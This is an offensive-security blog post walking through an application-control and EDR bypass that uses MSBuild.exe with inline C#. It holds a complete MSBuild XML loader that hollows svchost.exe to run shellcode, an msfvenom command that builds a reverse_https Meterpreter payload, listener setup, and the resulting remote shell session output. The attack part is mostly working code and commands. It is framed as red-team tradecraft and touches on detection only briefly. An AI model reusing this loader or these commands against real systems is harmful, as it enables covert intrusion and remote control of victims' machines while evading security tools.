Bypassing Application Control
Living-of-the-Land (LoL) Application Control Bypass. This is a brief post about using MSBuild.exe to bypass application control and possibly EDR/AV detections.
MSBuild Overview
MSBuild is the Microsoft Build Engine, a platform for building applications. It is used to build most projects that are created in Visual Studio, and it can also be run from the command line, which makes it central to many automated build processes. That would be the intended purpose, but from a red teaming/pentesting stance, it offers the perfect cover to run code on a Windows machines using an existing Microsoft signed binary. Most organizations have the application control policy set to allow all binaries signed by Microsoft to run legitimately, which effectively bypasses security controls.
MSBuild.exe is part of the .NET framework and is signed by Microsoft, it can be used to run arbitrary C# code. The issue lies in its ability to take an XML schema for a project file that controls how the build platform processes and builds an application. This templating based structure allows us to create a custom XML file and pass it to the binary as an argument, which also supports embedded inline C# code, as well as including other specific C# files as a dependency. For our case study, we will use the CDATA directive to add C# code directly in the XML file.
Building the PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Test">
<Program />
</Target>
<UsingTask
TaskName="Program"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class Program : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("Offstrike Research");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
The above XML snippet shows how we can add C# code to the project build configuration. We can build and run the code in the XML file using the following commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\offstrike> MSBuild.exe build.xml
Microsoft (R) Build Engine version 4.8.9032.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 10/20/2025 6:25:08 PM.
OffStrike Research
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:00.42
The output above shows the C# code was built and executed successfully. Technically speaking, we can do a lot with this feature, specifically, we can add a C# reverse-shell code to this XML structure and it will be executed. Here’s the catch, the parent process created by calling MSBuild will remaining waiting until the build completes. This is because it was designed to build a project, then terminates after receiving a callback from all working threads created by the main thread in that process. This means the process created by MSBuild will remain in a waiting/active state until we kill the reverse-shell. While this doesn’t intrinsically hinder our ability to achieve the objective on the target, but might make our activity obvious/detectable, since it’s unsual for a MSBuild process to run for an extended period of time. There are quite a few things we can do depending on the reverse-shell callback infrastructure. If we are using Metasploit or Sliver, we can immediately migrate the process (thread), which will close the MSBuild process, but this approach has some drawbacks as well. It may still take a noticeable amount of time to migrate the process by injecting it into an active process with the same PPL.
Process mirgation is far too common and prone to detection, the same is true for process hollowing but the benefits outweigh the drawbacks. It allows us to get a reverse-shell as a separate process masquerading as a legitimate process upon creation via the calling of MSBuild.exe. In the next sections, we will use Metasploit to demostrate this concept.
Process Hollowing - MSBuild
Step 1: Use Msfvenom to create CSharp shellcode, customize to match your specific environment
1
2
3
4
5
6
7
8
offstrike@offstrike:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https lhost=eth0 lport=8443 -f csharp | tee payload.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 875 bytes
Final size of csharp file: 4478 bytes
byte[] buf = new byte[875] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
... truncated for brevity...
Step 2: Locate the MSBuild.exe on the target, and use it to run the XML configuration file containing our slightly advanced shellcode. It’s just process hollowing lol.
1
2
3
4
5
PS C:\Users\offstrike> ls C:\ msbuild.exe -Recurse 2>$null | % FullName
...
C:\Windows\Microsoft.NET\assembly\x86\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\assembly\x64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
... truncated for brevity...
Note: Process hollowing is a separate topic, so we will not cover the code and logic in this demostration. Again, make sure to update the code to reflect your environment.
Without diving too deep into process hollowing, from a high level, we are creating a process using an existing application image binary on disk, in this case svchost.exe because it helps us blend in with the 50 plus other svchost running processes. The MSBuild.exe binary creates a process, and in the main thread of this process, we are calling the CreateProcess API and passing the value 0x4 to it, this instructs the OS to create the new process in a suspended state, which enables us to modify it before resuming the execution flow. We then find the entry point of the binary we are masquerading as, then overwrite everything after with just the shellcode. This ensures the shellcode is executed when the suspended process resumes, sort-of-speak. Processes don’t get CPU time, so technically we are resuming the main thread in the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="OffStrike">
<PropertyGroup>
<Platform>x64</Platform>
<PlatformTarget>x64</PlatformTarget>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<Target Name="OffStrike">
<OffStrikeBuilder />
</Target>
<UsingTask
TaskName="OffStrikeBuilder"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using MsUtil = Microsoft.Build.Utilities;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class OffStrikeBuilder : MsUtil.Task, ITask
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public override bool Execute()
{
# Truncated for brevity: Replace shellcode byte array
byte[] buf = new byte[832] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, ... };
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
ResumeThread(pi.hThread);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Step #: Setup the Meterpreter listener in Msfconsole. Make sure to set the payload accordingly, then start the listener.
1
2
3
4
5
6
7
8
9
10
msf6 exploit(multi/handler) > show options
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.21 yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Step 4: From the Windows target machine, we need to call MSBuild.exe and pass the XML (build.xml) file to it as an argument. Make sure to use the
x64version of MSBUild.exe or the process hollowing code won’t work as intended. If we don’t get any errors and did everything just right, we should receive a callback and an active Meterpreter session.
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\offstrike> C:\Windows\Microsoft.NET\assembly\x64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe build.xml
Microsoft (R) Build Engine version 4.8.9032.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 10/23/2025 11:42:37 PM.
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:00.50
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.0.21:8443
[*] https://192.168.0.21:8443 handling request from 192.168.0.20; (UUID: kdgpjquw) Staging x64 payload (204892 bytes) ...
[*] Meterpreter session 1 opened (192.168.0.21:8443 -> 192.168.0.20:14906) at 2025-10-24 06:42:41 +0000
meterpreter > sysinfo
Computer : OFFSTIKE-DEV
OS : Windows 11 (10.0 Build 26100).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: offstrike-dev\offstrike
meterpreter > getpid
Current pid: 7496
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
...
7496 2236 svchost.exe x64 1 offstrike-dev\offstrike C:\Windows\System32\svchost.exe
...
meterpreter > shell
Process 1184 created.
Channel 1 created.
Microsoft Windows [Version 10.0.26100.2605]
(c) Microsoft Corporation. All rights reserved.
C:\Users\offstrike>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Summary
Process hollowing and migration are intrinsically awesome, but this wasn’t to demostrate that awesomeness lol. Instead we have explored the possibility of code execution on Windows using LoL, most importantly we took this idea up a notch by running a slightly more advanced reverse-shell. From an offensive security point-of-view, anything that helps us bypass application control and possibly EDR/AV is worth keeping in the back pocket. It’s a lot easier to change the signature of an XML file than a binary, plus it’s hard to add conclusive detection rules for this technique that won’t also affect legitimate usage of the MSBuild.exe binary. It’s worth noting that some EDR solutions support User-Mode API hooking, so some if not all of the User-Mode APIs used for process hollowing in this demo are monitored, in fact the first indicator of a process hollowing attempt is creating a process in a suspended state. The Windows PE loader doesn’t intrinsically do this, however, there are legitimate instances where a process could be created in that state.
This walkthrough is the first part in a series, next we will explore other ways to bypass modern security features on Windows as we slowly make our way from User-Mode point-of-presence (PoP) to Kernel Mode access with persistence. Next up, we have understanding the environment using ETW and setting up a custom C2 system for what I like to call phase-one attacks.